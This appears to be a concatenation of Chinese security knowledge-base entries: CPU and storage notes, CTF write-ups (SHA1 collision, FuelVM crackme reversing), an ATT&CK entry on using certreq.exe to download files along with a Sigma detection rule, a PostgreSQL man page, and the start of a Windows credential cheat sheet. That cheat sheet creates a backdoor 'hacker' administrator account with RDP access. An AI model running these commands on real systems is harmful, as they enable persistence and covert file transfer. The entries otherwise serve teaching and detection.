函数调用处理通过把程序计数器的值设定成函数的存储地址来实现的。函数执行跳转指令后,必须进行返回处理,单纯的指令跳转没有意义。
上图中将变量 a、b 分别赋值为 123 和 456,然后调用 MyFun(a,b) 方法,进行指令跳转。图中的地址是将 C 语言编译成机器语言后运行时的地址,由于 1 行 C 程序在编译后通常会变为多行机器语言,所以图中的地址是分散的。在执行完 MyFun(a,b) 指令后,程序会返回到 MyFun(a,b) 的下一条指令,CPU 继续执行下面的指令。
函数的调用和返回很重要的两个指令是 call 和 return 指令,再将函数的入口地址设定到程序计数器之前,call 指令会把调用函数后要执行的指令地址存储在名为栈的主存内。函数处理完毕后,再通过函数的出口来执行 return 指令。return 指令的功能是把保存在栈中的地址设定到程序计数器。MyFun 函数在被调用之前,0154 地址保存在栈中,MyFun 函数处理完成后,会把 0154 的地址保存在程序计数器中。
在一些高级语言的条件或循环语句中,函数调用的处理会转换成 Call 指令,函数结束后的处理会转换成 return 指令
**通过地址或索引实现数组**
通过基址寄存器和变址寄存器,我们可以对主存上的特定区域进行划分,来实现类似数组的操作。
例如,用十六进制将内存中的 00000000-FFFFFFFF 的地址划分出来,那么,凡是该范围的内存地址,只要有一个 32 位的寄存器,便可查看全部地址。但如果要像数组那样分割特定的内存区域以达到连续查看的目的,使用两个寄存器会更加方便。
例如,通过两个寄存器来表示内存的值
数组是指同样长度的数据在内存中进行连续排列的数据构造。用数组名表示数组全部的值,通过索引来区分数组的各个数据元素,例如: a\[0]-a\[4],\[ ] 内的 0-4 就是数组的下标。
### CPU指令执行过程
- 取指令 : 将内存中的指令读取到 CPU 中寄存器的过程,程序寄存器用于存储下一条指令所在的地址。
- 指令译码 : 在取指令完成后,立马进入指令译码阶段,在指令译码阶段,指令译码器按照预定的指令格式,对取回的指令进行拆分和解释,识别区分不同的指令类别以及各种获取操作数的方法。
- 执行指令 : 译码完成后,需要执行这一指令,此阶段是完成指令所规定的各种操作,具体实现指令的功能。
- 访问取数 : 根据指令的需要,有可能需要从内存中提取数据,此阶段根据指令地址码,得到操作数在主存中的地址,并从主存中读取该操作数用于运算。
- 结果写回 : 最后一阶段,把执行指令阶段的运行结果数据 "写回" 到某种存储形式: 结果数据经常被写到 CPU 的内部寄存器中,以便被后续的指令快速的存取。
---
## 内存
- 内容见 [内存](./内存.md)
---
## 存储器
磁盘和内存都具有存储功能,但内存通过电流来实现存储,磁盘通过磁记录技术实现。
内存断电后数据消失,而磁盘中的数据可以长存,内存属于内部存储设备,硬盘属于外部存储设备,两者结合使用。
### 存储单位
8bits=1Bytes 简称 8B 1 比特
- Byte = 8 bit
- Word = 2 Byte = 16 bit
- Dword = 4 Byte = 32 bit
- KB = 1048B(Byte)
- MB = 1024KB
- GB = 1024MB
- TB = 1024GB
买硬盘时,看到标 500G,但实际只有 466G,正常,原因是制作商使用 10 进制单位,500G 代表 500\*1000\*1000\*1000Byte=466GB.
因为硬盘的最小物理量为 512Bytes,最小的组成单位为扇区( sector ),通常计算硬盘容量是看有多少个 sector,所以才用十进制处理,
**位 (bit)**
来自英文 bit, 音译为 "比特", 表示二进制位.
位是计算机内部数据储存的最小单位,是一个二进制位。
**字节 (byte)**
字节来自英文 Byte, 音译为 "拜特", 习惯上用大写的 "B" 表示.
字节是计算机中数据处理的基本单位.
计算机中以字节为单位存储和解释信息, 规定一个字节由八个二进制位构成, 即 1 个字节等于 8 个比特 (1Byte=8bit) .
用字节处理数据时,如果数字小于存储数据的字节数,那么高位用 0 填补,高位和数学中的表示一样,左侧表示高位,右侧表示低位。例如 100111 只有 6 位,高位需要用 0 填充,填充后是 00100111,占一个字节,如果用 16 位表示就是 0000 0000 0010 0111 占两个字节
一般称 32 位和 64 位计算机指的就是处理位数,32 位一次可以表示 4 个字节,64 位一次可以表示 8 个字节的二进制数。
**字**
计算机进行数据处理时, 一次存取、加工和传送的数据长度称为字 (word) . 一个字通常由一个或多个 (一般是字节的整数位) 字节构成. 例如 286 微机的字由 2 个字节组成, 它的字长为 16;486 微机的字由 4 个字节组成, 它的字长为 32 位机.
- WORD 字 16BIT 2字节
- DWORD 双字 32BIT 4字节
---
### 存储单元
存储器被划分成了若干个存储单元,一个存储单元可以存储一个字节,也就是 8 个二进制位,每个存储单元是从 0 开始顺序编号。
对于一个有 128 个存储单元的存储器
- 容量为 128 字节
- 编号为 0~127
每个单元由两部分构成
- 一个是单存储元的内容,用十六进制表示
- 一个是存储单元的地址,用十六进制表示
---
### 总线
CPU 对存储器的读写通过 3 种总线完成.
- 地址总线
- 数据总线
- 控制总线
CPU从编号为2的地址中读取内容,通过控制总线发出读写命令,地址总线确认地址为3,找到后,数据总线传输内容为 12
**地址总线**
地址总线的宽度决定了 CPU 的寻址能力
一个 CPU 有 N 根地址线,则可以说这个 CPU 的地址总线的宽度为 N。这样的 CPU 最多可以寻找 2 的 N 次方个内存单元 (字节)
例如: Intel 8086 是 20根,则寻址能力为 2^20 次方个内存单元(字节) 即 1048576=1M
**数据总线**
数据总线的宽度决定了 CPU 与其他器件进行传送时一次数据传输的容量
一根数据总线可以传输一个 0 或 1, 即 1bit
例如: Intel 8086 是 16根,则一次可以传输的数据为 2B
**控制总线**
控制总线的宽度决定了 CPU 对系统种其他器件的控制能力
---
### 磁盘缓存
每次内存都需要从磁盘中读取数据,必然会读到相同的内容,所以一定会由一个角色负责存储常用的内容,这种称为缓存技术,磁盘缓存指把从磁盘中读出的数据存储到内存的方式,这样一来,当接下来需要读取相同的内容时,就不会再通过实际的磁盘,而是通过磁盘缓存读取。
windows操作系统提供了磁盘缓存技术,但对大多数用户来讲是感受不到磁盘缓存的,并随着技术演进,磁盘缓存实际的使用也越来越少。
---
### 文件系统
**ext4**
ext4 是目前 Debian/Ubuntu/Mint 的默认文件系统,比较常见,它其实是第 4 代扩展文件系统 (Fourth extended filesystem), 是 ext3 的延续。
- ext4 对大文件有着比较好的支持,最大支持 1 EiB 的卷,标准 4Kib 块大小下支持单文件最大 16 TiB
- Extents
- ext4 兼容 ext3, ext2
- ext4 允许对一些文件预留空间 (Persistent pre-allocation)
- Delayed allocation
- 无限制的子目录,Linux 4.12 及以后 largedir 功能使用 3 级 HTree,允许在单目录下拥有大约 6 百万条目
- ext4 使用日志校验和来提高稳定性
- ext4 使用纳秒来管理 timestamp
- Linux kernel 4.1 后加入了透明加密
- ext4 支持默认写屏障,确保了即使写时断电,文件的元信息可以正确写入磁盘
**ZFS**
ZFS 是由 Sun Microsystems 设计的组合文件系统和逻辑卷管理器。ZFS 具有良好的扩展性,可以有效防止数据损坏,对高容量有着良好支持,可以有效压缩数据,有快照功能,有 copy-on-write 特性,支持完整性检查,支持 RAID-Z。ZFS 最初是 Sun 作为 Solaris 内部开发的闭源软件,2005 年跟随着 Solaris 开源。2010 年,Sun 被 Oracle 收购,ZFS 成为 Oracle 的注册商标,Oracle 停止为新的 OpenSolaris 和 ZFS 开发发布更新的源代码,从而有效地将 Oracle 的 ZFS 恢复为封闭源代码。作为回应开源社区建立了 illumos 项目,维护 Solaris 开发,并在 2013 年成立 OpenZFS 继续开源版本的 ZFS 开发。OpenZFS 被广泛用于类 Unix 系统中。
- ZFS 为数据长期存储和扩容而设计
- ZFS 支持存储池,可以建立跨越磁盘的存储池
- copy-on-write, ZFS 文件系统中,新信息会被写入到不同的 block 中,写完成后元数据将更新指向为新信息,这个机制可以保证写过程中即使系统崩溃,旧数据也会保留,这意味着系统崩溃后无需执行 fsck.
- 数据和元数据分开存储,用以校验整个文件系统,在文件发生损坏时及时修复
- 在某些情况下,如果发生错误或不一致,将自动回滚文件系统和数据的最新更改。
- ZFS 有自己的 RAID,RAID-Z 实现
- ZFS 文件系统能够提供最大 16 EiB 文件大小,最大 256 万亿 ZiB 存储
**btrfs**
btrfs 是 b-tree 文件系统的缩写,最初是 Oracle 为 Linux 而设计,遵循着 copy-on-write 原则。btrfs 旨在解决 Linux 文件系统中缺乏 pooling,快照,校验和和完整的多设备跨接的问题。
**XFS**
XFS 是一个高性能 64 bit 日志文件系统, 1993 年由 Silicon Graphics, Inc (SGI) 公司创建,原来是作为该公司 IRIX 操作系统 5.3 版本后的默认文件系统,后在 2001 年被移植到 Linux Kernel,XFS 被大多数的 Linux 发行版支持,XFS 适合用来处理大文件。
---
### 磁盘物理结构
磁盘通过将物理表面划分为多个空间来使用,划分的方式有两种:可变长方式和扇区方式。
可变长方式将物理结构划分成长度可变的空间,扇区方式将磁盘结构划分成固定长度的空间。
一般 windows 都是使用扇区方式,扇区中,把磁盘表面分成若干个同心圆的空间就是磁道,把磁道按照固定大小的存储空间划分就是扇区。
扇区是对磁盘进行物理读写的最小单位,windows 中的磁盘一般是一个扇区 512 个字节,但在逻辑方面对磁盘进行读写的单位是扇区整数倍簇,根据容量的不同,1 簇可以是 512 字节 (1 簇 = 1 扇区)、1KB(1 簇 = 2 扇区)、2KB、4KB、32KB(1 簇 = 64 扇区) 等,簇和扇区的大小是相等的。
不管是硬盘还是软盘,不同的文件是不能存储在同一簇中的,否则会导致只有一方的文件不能删除,所以不论多小的文件,都会占用 1 簇的空间,所以的文件都会占用 1 簇的整数倍的空间。
|
sec-knowleage
|
# SHA1
## 基本描述
SHA1的输入输出如下
- 输入:任意长的消息,分为 **512 比特**长的分组。首先在消息右侧补比特 1,然后再补若干个比特 0,直到消息的比特长度满足对 512 取模后余数是 448,使其与 448 模 512 同余。
- 输出:160 比特的消息摘要。
关于详细的介绍,请自行搜索。
一般来说,我们可以通过函数的初始化来判断是不是 SHA1 函数。一般来说,如果一个函数有如下五个初始化的变量,可以猜测该函数为 SHA1 函数,因为这是 SHA1 函数的初始化IV。
```
0x67452301
0xEFCDAB89
0x98BADCFE
0x10325476
0xC3D2E1F0
```
前面四个与 MD5 类似,后面的是新加的。
## 破解
就目前而言,SHA1 已经不再安全了,因为之前谷歌公布了求得两个 sha1 值一样的 pdf,具体请参考 [shattered](https://shattered.io/) 。
这里还有一个比较有意思的网站:https://alf.nu/SHA1。
## 2017 SECCON SHA1 is dead
题目描述如下
1. file1 != file2
2. SHA1(file1) == SHA1(file2)
3. SHA256(file1) <> SHA256(file2)
4. 2017KiB < sizeof(file1) < 2018KiB
5. 2017KiB < sizeof(file2) < 2018KiB
其中 1KiB = 1024 bytes
即我们需要找到两个文件满足上述的约束。
这里立马就想到谷歌之前公布的文档,而且,非常重要的是,只要使用给定的前 320 字节,后面任意添加一样的字节获取的哈希仍然一样,这里我们测试如下
```shell
➜ 2017_seccon_sha1_is_dead git:(master) dd bs=1 count=320 <shattered-1.pdf| sha1sum
记录了320+0 的读入
记录了320+0 的写出
320 bytes copied, 0.00796817 s, 40.2 kB/s
f92d74e3874587aaf443d1db961d4e26dde13e9c -
➜ 2017_seccon_sha1_is_dead git:(master) dd bs=1 count=320 <shattered-2.pdf| sha1sum
记录了320+0 的读入
记录了320+0 的写出
320 bytes copied, 0.00397215 s, 80.6 kB/s
f92d74e3874587aaf443d1db961d4e26dde13e9c -
```
进而我们直接写程序即可,如下
```python
from hashlib import sha1
from hashlib import sha256
pdf1 = open('./shattered-1.pdf').read(320)
pdf2 = open('./shattered-2.pdf').read(320)
pdf1 = pdf1.ljust(2017 * 1024 + 1 - 320, "\00") #padding pdf to 2017Kib + 1
pdf2 = pdf2.ljust(2017 * 1024 + 1 - 320, "\00")
open("upload1", "w").write(pdf1)
open("upload2", "w").write(pdf2)
print sha1(pdf1).hexdigest()
print sha1(pdf2).hexdigest()
print sha256(pdf1).hexdigest()
print sha256(pdf2).hexdigest()
```
## 参考文献
- https://www.slideshare.net/herumi/googlesha1
|
sec-knowleage
|
# Petshop Pro
## [Flag0](./flag0) -- Found
- Something looks out of place with checkout
- It's always nice to get free stuff
## [Flag1](./flag1) -- Found
- There must be a way to administer the app
- Tools may help you find the entrypoint
- Tools are also great for finding credentials
## [Flag2](./flag2) -- Found
- Always test every input
- Bugs don't always appear in a place where the data is entered
|
sec-knowleage
|
### 虚拟机分析概述
有关虚拟机分析部分, 我们以一道简单的crackme来进行讲解.
对应的`crackme`可以点击此处下载: [FuelVM.exe](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/vm/fuelvm/FuelVM.exe)
对应的`keygenme`可以点击此处下载: [fuelvm_keygen.py](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/vm/fuelvm/fuelvm_keygen.py)
对应的`IDA数据库`可以点击此处下载: [FuelVM.idb](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/vm/fuelvm/FuelVM.idb)
本题作者设计了一个具有多种指令的简单虚拟机. 我们使用IDA来进行分析. 并为了方便讲解, 我对反汇编出的一些变量重新进行了命名.
### 虚拟机分析获取用户输入
那么我们就可以从这里入手. 程序想获取用户输入, 需要调用的一个API是`GetDlgItemTextA()`
``` c
UINT GetDlgItemTextA(
HWND hDlg,
int nIDDlgItem,
LPSTR lpString,
int cchMax
);
```
获取的输入字符串会保存在`lpString`里. 那么我们就可以打开IDA查找有交叉引用`GetDlgItemTextA()`的地方.
``` asm
.text:00401142 push 0Ch ; cchMax
.text:00401144 push offset inputName ; lpString
.text:00401149 push 3F8h ; nIDDlgItem
.text:0040114E push [ebp+hWnd] ; hDlg
.text:00401151 call GetDlgItemTextA
.text:00401156 push 0Ch ; cchMax
.text:00401158 push offset inputKey ; lpString
.text:0040115D push 3F9h ; nIDDlgItem
.text:00401162 push [ebp+hWnd] ; hDlg
.text:00401165 call GetDlgItemTextA
.text:0040116A mov var_a, 0
.text:00401171 call process_input
.text:00401176 jmp short locExit
```
如上, IDA只有这里调用过`GetDlgItemTextA`并且调用了两次分别获取`inputName`和`inputKey`. 随后初始化了一个变量为0, 因为还不明白这个变量的作用, 因此先重命名为`var_a`. 之后进行了一次函数调用并jmp跳转. 因为jmp跳转位置的代码是一些退出程序的代码, 因此我们可以断定上面的这个call, 是在调用处理用户输入的函数. 因此将jmp的位置重命名为`locExit`, 函数则重命名为`process_input`.
### 虚拟机分析处理用户输入
我们进入`process_input`函数, 该函数仅仅对输入字符串进行了很简单的处理.
```c
result = strlength((int)inputName);
if ( v1 >= 7 ) // v1 = length of inputName
{
*(_DWORD *)&lenOfName = v1;
result = strlength((int)inputKey);
if ( v2 >= 7 ) // v2 = length of inputKey
{
i = 0;
do
{
inputName[i] ^= i;
++i;
}
while ( i <= *(_DWORD *)&lenOfName );
unk_4031CE = i;
dword_4031C8 = dword_4035FF;
initVM();
initVM();
__debugbreak();
JUMPOUT(*(_DWORD *)&word_4012CE);
}
}
return result;
```
首先是这个`strlength()`函数. 函数使用`cld; repne scasb; not ecx; dec ecx`来计算字符串长度并将结果保存在`ecx`里. 是汇编基础知识就不多介绍. 所以我们将该函数重命名为`strlength`
```asm
.text:004011C2 arg_0 = dword ptr 8
.text:004011C2
.text:004011C2 push ebp
.text:004011C3 mov ebp, esp
.text:004011C5 mov edi, [ebp+arg_0]
.text:004011C8 sub ecx, ecx
.text:004011CA sub al, al
.text:004011CC not ecx
.text:004011CE cld
.text:004011CF repne scasb
.text:004011D1 not ecx
.text:004011D3 dec ecx
.text:004011D4 leave
.text:004011D5 retn 4
.text:004011D5 strlength endp
```
而在IDA生成的伪C代码处有`v1`和`v2`, 我对其进行了注解, 可以看汇编, 里面是使用`ecx`与`7`进行比较, 而`ecx`是字符串的长度, 于是我们可以知道, 这里对输入的要求是: *inputName 和 inputKey 的长度均不少于 7*
当`inputName`和`inputKey`长度均不少于7时, 那么就可以对输入进行简单的变换. 以下是一个循环
```c
i = 0;
do
{
inputName[i] ^= i;
++i;
}
while ( i <= *(_DWORD *)&lenOfName );
```
对应的python代码即
``` python
def obfuscate(username):
s = ""
for i in range(len(username)):
s += chr(ord(username[i]) ^ i)
return s
```
函数之后对一些变量进行了赋值(这些并不重要, 就忽略不讲了.)
### 虚拟机分析注册SEH
```asm
.text:004012B5 push offset seh_handler
.text:004012BA push large dword ptr fs:0
.text:004012C1 mov large fs:0, esp
.text:004012C8 call initVM
.text:004012CD int 3 ; Trap to Debugger
```
`initVM`完成的是一些虚拟机启动前的初始化工作(其实就是对一些寄存器和相关的部分赋初值), 我们之后来讨论. 这里我们关注的是SEH部分. 这里注册了一个SEH句柄, 异常处理函数我重命名为`seh_handler`, 并之后使用`int 3`手动触发异常. 而在`seh_handler`位置, IDA并未正确识别出对应的代码
```
.text:004012D7 seh_handler db 64h ; DATA XREF: process_input+7Do
.text:004012D8 dd 58Fh, 0C4830000h, 13066804h, 0FF640040h, 35h, 25896400h
.text:004012D8 dd 0
.text:004012F4 dd 1B8h, 0F7C93300h, 0F7C033F1h, 0FFC483E1h, 8F64FDEBh
.text:004012F4 dd 5, 4C48300h, 40133068h, 35FF6400h, 0
.text:0040131C dd 258964h, 33000000h, 33198BC9h, 83E1F7C0h, 0FDEBFFC4h
.text:0040131C dd 58F64h, 83000000h, 5E6804C4h, 64004013h, 35FFh, 89640000h
.text:0040131C dd 25h, 0C033CC00h, 0C483E1F7h, 83FDEBFFh, 4035FF05h, 0D8B0200h
.text:0040131C dd 4035FFh, 3000B1FFh, 58F0040h, 4031C8h, 31C83D80h, 750A0040h
.text:0040131C dd 0B1FF4176h, 403000h, 31C8058Fh, 3D800040h, 4031C8h
```
我们可以点击相应位置按下`c`键, 将这些数据转换成代码进行识别. (我们需要按下多次c键进行转换), 得到如下代码.
如下, 在`seh_handler`位置, 又用类似的方法注册了一个位于`401306h`的异常处理函数, 并通过`xor ecx,ecx; div ecx`手动触发了一个`除0异常`. 而在`loc_401301`位置, 这是一个反调试技巧, `jmp loc_401301+2`会使得`EIP`转向一条指令中间, 使得无法继续调试. 所以我们可以将`00401301~00401306`部分的代码`nop`掉, 然后在`00401306`位置创建一个新函数`seh_handler2`
```
seh_handler: ; DATA XREF: process_input+7Do
.text:004012D7 pop large dword ptr fs:0
.text:004012DE add esp, 4
.text:004012E1 push 401306h
.text:004012E6 push large dword ptr fs:0
.text:004012ED mov large fs:0, esp
.text:004012F4 mov eax, 1
.text:004012F9 xor ecx, ecx
.text:004012FB div ecx
.text:004012FD xor eax, eax
.text:004012FF mul ecx
.text:00401301
.text:00401301 loc_401301: ; CODE XREF: .text:00401304j
.text:00401301 add esp, 0FFFFFFFFh
.text:00401304 jmp short near ptr loc_401301+2
.text:00401306 ; ---------------------------------------------------------------------------
.text:00401306 pop large dword ptr fs:0
.text:0040130D add esp, 4
.text:00401310 push 401330h
.text:00401315 push large dword ptr fs:0
.text:0040131C mov large fs:0, esp
.text:00401323 xor ecx, ecx
.text:00401325 mov ebx, [ecx]
.text:00401327 xor eax, eax
.text:00401329 mul ecx
```
类似的, 还有`401330h`重命名为`seh_handler3`, 而`40135Eh`是最后一个注册的异常处理函数, 我们可以推测这才是虚拟机真正的main函数, 因此我们将`40135Eh`重命名为`vm_main`. (有关SEH和反调试的部分, 可以推荐大家自己去动态调试一番弄清楚)
### 虚拟机分析恢复堆栈平衡
我们创建了一个`vm_main`函数(重命名后还需要创建函数, IDA才能识别), 然后按下`F5`提示失败, 失败的原因则是由于堆栈不平衡导致的. 因此我们可以点击IDA菜单项`Options->General`在右侧勾选`stack pointer`. 这样就会显示出对应的栈指针.
```
.text:004017F2 000 jmp vm_main
.text:004017F7 ; ---------------------------------------------------------------------------
.text:004017F7 000 push 0 ; uType
.text:004017F9 004 push offset aError ; "Error"
.text:004017FE 008 push offset Text ; "The key is wrong."
.text:00401803 00C push 0 ; hWnd
.text:00401805 010 call MessageBoxA
.text:0040180A
.text:0040180A locret_40180A: ; CODE XREF: vm_main+492j
.text:0040180A 000 leave
.text:0040180B -04 leave
.text:0040180C -08 leave
.text:0040180D -0C leave
.text:0040180E -10 leave
.text:0040180F -14 leave
.text:00401810 -18 leave
.text:00401811 -1C retn
.text:00401811 vm_main endp ; sp-analysis failed
```
我们来到最下显示不平衡的位置. 最上的`jmp vm_main`表明虚拟机内在执行一个循环. 而`MessageBoxA`的调用则是显示最后弹出的错误信息. 而在`locret_40180A`位置处, 经过多次leave堆栈严重不平衡, 因此我们需要手动恢复堆栈平衡.
这里也很简单, 在`0040180A`位置已经堆栈平衡了(000), 因此我们只需要将这一句`leave`修改为`retn`就可以了. 如下这样
```
.text:0040180A locret_40180A: ; CODE XREF: vm_main+492j
.text:0040180A 000 retn
.text:0040180B ; ---------------------------------------------------------------------------
.text:0040180B 004 leave
.text:0040180C 004 leave
.text:0040180D 004 leave
```
然后你就可以发现`vm_main`可以F5生成伪C代码了.
### 虚拟机指令分析
说实话, 虚拟机的分析部分是一个比较枯燥的还原过程, 你需要比对各个小部分的操作来判断这是一个怎样的指令, 使用的是哪些寄存器. 像这个crackme中, vm进行的是一个`取指-译码-执行`的循环. `译码`过程可给予我们的信息最多, 不同的指令都会在这里, 根据它们各自的`opcode`, 使用`if-else if-else`分支进行区分. 实际的还原过程并不复杂, 但有可能会因为虚拟机实现的指令数量而显得有些乏味.
最后分析出的结果如下:
| opcode | value |
| ------ | ----- |
| push | 0x0a |
| pop | 0x0b |
| mov | 0x0c |
| cmp | 0x0d |
| inc | 0x0e |
| dec | 0x0f |
| and | 0x1b |
| or | 0x1c |
| xor | 0x1d |
| check | 0xff |
我们再来看分析后的`initVM`函数
```c
int initVM()
{
int result; // eax@1
r1 = 0;
r2 = 0;
r3 = 0;
result = (unsigned __int8)inputName[(unsigned __int8)cur_index];
r4 = (unsigned __int8)inputName[(unsigned __int8)cur_index];
vm_sp = 0x32;
vm_pc = 0;
vm_flags_zf = 0;
vm_flags_sf = 0;
++cur_index;
return result;
}
```
这里有4个通用寄存器(`r1/r2/r3/r4`), 1个`sp`指针和1个`pc`指针, 标志`zf`和`sf`. 先前我们不知道的`var_a`也被重命名为`cur_index`, 指向的是`inputName`当前正在处理的字符索引.
对于VM实现的多个指令我们就不再多说, 重点来看下`check`部分的操作.
```c
int __fastcall check(int a1)
{
char v1; // al@1
int result; // eax@4
v1 = r1;
if ( (unsigned __int8)r1 < 0x21u )
v1 = r1 + 0x21;
LOBYTE(a1) = cur_index;
if ( v1 == inputKey[a1] )
{
if ( (unsigned __int8)cur_index >= (unsigned __int8)lenOfName )
result = MessageBoxA(0, aGoodJobNowWrit, Caption, 0);
else
result = initVM();
}
else
{
result = MessageBoxA(0, Text, Caption, 0);
}
return result;
}
```
如果`r1`中的值跟`inputKey[cur_index]`相等, 那么会继续判断是否已经检查完了整个`inputName`, 如果没有出错且比对结束, 那么就会弹出`Good job! Now write a keygen.`的消息框. 否则会继续`initVM`进入下一轮循环.(出错了当然是弹出消息框提示错误了. )
`cur_index`会在`initVM`中自增1, 那么还记得之前在`process_input`里有执行2次`initVM`吗. 因为有执行2次`initVM`, 所以我们的`inputKey`的前2位可以是任意字符.
```c
unk_4031CE = i;
opcode = vm_pc;
initVM();
initVM();
__debugbreak();
JUMPOUT(*(_DWORD *)&word_4012CE);
```
故而我们分析完了整个虚拟机, 便可以开始着手编写`Keygen`.
对应的`keygenme`可以点击此处下载: [fuelvm_keygen.py](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/vm/fuelvm/fuelvm_keygen.py)
```bash
$ python2 fuelvm_keygen.py ctf-wiki
[*] Password for user 'ctf-wiki' is: 4mRC*TKJI
```
对应的`IDA数据库`可以点击此处下载: [FuelVM.idb](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/vm/fuelvm/FuelVM.idb)
|
sec-knowleage
|
# T1105-win-入口工具转移-CertReq.exe(白名单)
## 来自ATT&CK的描述
攻击者可能会将工具或其他文件从外部系统转移到被攻击的环境中。可以通过命令和控制通道从外部攻击者控制的系统复制文件,用以将工具带入被攻击的网络中,或通过其他工具(如 FTP)的替代协议。 也可以使用 scp、rsync 和 sftp等本地工具在Mac和 Linux上复制文件。
## 测试案例
CertReq.exe用于从证书颁发机构请求证书 (CA) ,从CA检索对以前的请求的响应,从.inf文件创建新请求,以接受和安装对请求的响应,以从现有CA证书或请求构造交叉认证或限定的次序请求, 并签署交叉认证或限定的下级请求。
**路径:**
```
- C:\Windows\System32\certreq.exe
- C:\Windows\SysWOW64\certreq.exe
```
将来自www.baidu.com的HTTP POST的响应内容保存到端点上,输出output.txt在当前目录中。
```
CertReq -Post -config https://www.baidu.com/ c:\windows\win.ini output.txt
```
用例:从 Internet 下载文件
所需权限:用户
操作系统:Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10
## 检测日志
windows安全日志
## 测试复现
```
C:\Users\liyang\Desktop\asptest>CertReq -Post -config https://www.baidu.com/ c:\windows\win.ini output.txt
OK
HTTP/1.1 200 OK
Cache-Control: max-age=86400
Date: Mon, 18 Apr 2022 06:28:15 GMT
Content-Length: 19825
Content-Type: text/html
Expires: Tue, 19 Apr 2022 06:28:15 GMT
Last-Modified: Wed, 10 Mar 2021 06:27:44 GMT
Accept-Ranges: bytes
ETag: "4d71-5bd28c3bf7800"
P3P: CP=" OTI DSP COR IVA OUR IND COM "
Server: Apache
Set-Cookie: BAIDUID=4305E8F795AE7B64177F5105CD755190:FG=1; expires=Tue, 18-Apr-23 06:28:15 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1
Vary: Accept-Encoding,User-Agent
```
## 测试留痕
```
已创建新进程。
创建者主题:
安全 ID: DESKTOP-PT656L6\liyang
帐户名: liyang
帐户域: DESKTOP-PT656L6
登录 ID: 0x47126
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x1778
新进程名称: C:\Windows\System32\certreq.exe
令牌提升类型: %%1938
强制性标签: Mandatory Label\Medium Mandatory Level
创建者进程 ID: 0x24b4
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: CertReq -Post -config https://www.baidu.com/ c:\windows\win.ini output.txt
```
## 检测方法/思路
参考Sigma官方规则:
```yml
title: Suspicious Certreq Command to Download
id: 4480827a-9799-4232-b2c4-ccc6c4e9e12b
status: experimental
description: Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files
author: Christian Burkard
date: 2021/11/24
references:
- https://lolbas-project.github.io/lolbas/Binaries/Certreq/
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\certreq.exe'
CommandLine|contains|all:
- ' -Post '
- ' -config '
- ' http'
- ' C:\windows\win.ini '
condition: selection
fields:
- CommandLine
- ParentCommandLine
tags:
- attack.command_and_control
- attack.t1105
falsepositives:
- Unlikely
level: high
- [](https://github.com/ "GitHub")
```
### 建议
从Sigma给出的规则来看,更多的是对进程和命令行参数进行监测,只要出现其中一个命令参数即告警。
## 参考推荐
MITRE-ATT&CK-T1105
<https://attack.mitre.org/techniques/T1105>
CertReq.exe
<https://lolbas-project.github.io/lolbas/Binaries/Certreq/>
certreq使用方法
<https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/certreq_1>
Sigma:win_susp_certreq_download
<https://github.com/SigmaHQ/sigma/blob/eb8c9c046b86e7d412bdcc3235693fa1c00f70d6/rules/windows/process_creation/win_susp_certreq_download.yml>
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DROP OPERATOR" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DROP OPERATOR \- 删除一个操作符
.SH SYNOPSIS
.sp
.nf
DROP OPERATOR \fIname\fR ( \fIlefttype\fR | NONE , \fIrighttype\fR | NONE ) [ CASCADE | RESTRICT ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBDROP OPERATOR\fR 语句从数据库中删除一个现存的操作符。 要执行这个命令,你必须是操作符所有者。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
一个现存的操作符的名字(可以有模式修饰)。
.TP
\fB\fIlefttype\fB\fR
该操作符左参数的类型。如果该操作符没有左参数, 写 NONE。
.TP
\fB\fIrighttype\fB\fR
该操作符右参数的类型。如果该操作符没有右参数, 写 NONE。
.TP
\fBCASCADE\fR
自动删除依赖于此操作符的对象。
.TP
\fBRESTRICT\fR
如果有任何依赖对象则拒绝删除此操作符。这个是缺省。
.SH "EXAMPLES 例子"
.PP
将用于integer的幂操作符 a^n 删除:
.sp
.nf
DROP OPERATOR ^ (integer, integer);
.sp
.fi
.PP
为类型 bit 删除左单目位操作符 ~b:
~b for type \fBbit\fR:
.sp
.nf
DROP OPERATOR ~ (none, bit);
.sp
.fi
.PP
删除用于 integer 的阶乘 (x!) :
.sp
.nf
DROP OPERATOR ! (integer, none);
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
在 SQL 标准里没有 DROP OPERATOR 语句。
.SH "SEE ALSO 参见"
CREATE OPERATOR [\fBcreate_operator\fR(7)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# Windows - Using credentials
## Summary
* [Get credentials](#get-credentials)
* [Create your credential](#create-your-credential)
* [Guest Credential](#guest-credential)
* [Retail Credential](#retail-credential)
* [Sandbox Credential](#sandbox-credential)
* [Crackmapexec](#crackmapexec)
* [Impacket](#impacket)
* [PSExec](#psexec)
* [WMIExec](#wmiexec)
* [SMBExec](#smbexec)
* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol)
* [Powershell Remoting Protocol](#powershell-remoting-protocol)
* [Powershell Credentials](#powershell-credentials)
* [Powershell PSSESSION](#powershell-pssession)
* [Powershell Secure String](#powershell-secure-strings)
* [SSH Protocol](#ssh-protocol)
* [WinRM Protocol](#winrm-protocol)
* [WMI Protocol](#wmi-protocol)
* [Other methods](#other-methods)
* [PsExec - Sysinternal](#psexec-sysinternal)
* [Mount a remote share](#mount-a-remote-share)
* [Run as another user](#run-as-another-user)
## Get credentials
### Create your credential
```powershell
net user hacker Hcker_12345678* /add /Y
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add # RDP access
